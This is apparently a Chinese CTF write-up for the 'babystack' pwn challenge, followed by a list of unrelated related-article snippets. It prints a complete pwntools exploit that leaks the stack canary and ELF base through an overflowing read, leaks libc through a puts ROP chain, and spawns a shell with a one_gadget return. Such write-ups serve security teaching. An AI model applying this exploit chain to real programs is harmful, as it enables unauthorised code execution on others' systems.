babystack

首先检查一下保护

全保护开启,我们IDA分析一下。

main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n 结尾会存在栈中地址的泄漏。

payload = 'A'*0x88+'A'   #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)

第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数

pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)

接下来我们就可以ret2onegadget了。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so') #--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload) p.interactive()

baystack(ret2one_gadget)的更多相关文章

  1. Freebsd 编译内核

    # cd /usr/src/sys/i386/conf # cp GENERIC GENERIC.20060812# ee GENERIC 如果要加入ipf防火墙的话则加入options        ...

  2. snmp oid 和厂商对应关系

    <node oid="default" name="Unknown" type="workstation"/><node ...

  3. 鹏城杯_2018_treasure

    鹏城杯_2018_treasure 首先检查一下保护: IDA分析 我们先来看看settreasure()函数 申请了两个内存空间,并往sea中复制了shellcode 看看这个shellcode,不 ...

  4. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

随机推荐

  1. InnoDB -- 行记录格式

    本文转载自InnoDB -- 行记录格式 分类 Named File Format InnoDB早期的文件格式(页格式)为Antelope,可以定义两种行记录格式,分别是Compact和Redunda ...

  2. 源码分析:Phaser 之更灵活的同步屏障

    简介 Phaser 是 JDK 1.7 开始提供的一个可重复使用的同步屏障,功能类似于CyclicBarrier和CountDownLatch,但使用更灵活,支持对任务的动态调整,并支持分层结构来达到 ...

  3. Vue学习笔记-Vue.js-2.X 学习(一)===>基本知识学习

    一  使用环境: windows 7 64位操作系统 二  IDE:VSCode/PyCharm 三  Vue.js官网: https://cn.vuejs.org/ 四  下载安装引用 方式1:直接 ...

  4. Django-1.11中文文档-模型Models(一)

    官方文档链接 模型是数据信息的唯一并明确的来源.它包含了我们储存的数据的基本字段和行为.通常,每个模型映射到一张数据库表. 基本概念: 每个模型都是django.db.models.Model的一个子 ...

  5. sqlyog如何增删改查?

    转: sqlyog如何增删改查? 下面是一道完整的 sqlyog 增删改查的练习, 顺着做下去,可以迅速掌握. 1. 创建部门表dept,并插入数据: 2. 创建emp员工表,并插入数据: sql 代 ...

  6. jQuery实现QQ简易聊天框

    实现效果: html代码: <section id="chat"> <div class="chatBody"></div> ...

  7. Javascript学习,DOM对象,方法的使用

    JavaScript: ECMAScript: BOM: DOM: 事件 DOM的简单学习 功能:控制html文档内容 代码:获取页面标签(元素)对象和Element document.getElem ...

  8. TKE 容器网络中的 ARP Overflow 问题探究及其解决之道

    作者朱瑜坚,腾讯云后台开发工程师,熟悉 CNI 容器网络相关技术,负责腾讯云 TKE 的容器网络的构建和相关网络组件的开发维护工作,作为主力开发实现了 TKE 下一代容器网络方案. 1. 问题背景 1 ...

  9. 记录实践PC端微信防撤回实现过程(基于3.1.0.67版本)

    利用OD实现对PC端微信防撤回功能的实现 文章最后有一键补丁工具哦~ 准备工具 1.OD 2.PC微信客户端(3.1.0.67) 过程 1.运行微信客户端,不需要登录 2.运行OD,左上角选择附加进程 ...

  10. C语言经典88案例,我文科妹妹说她都学会了!

    案例ex01: 将字符串转换为一个整数 1 题目 函数:fun() 功能:将字符串转换为一个整数 描述: [不能使用C语言提供的字符串函数] 输入:字符串"-1234" 输出:整型 ...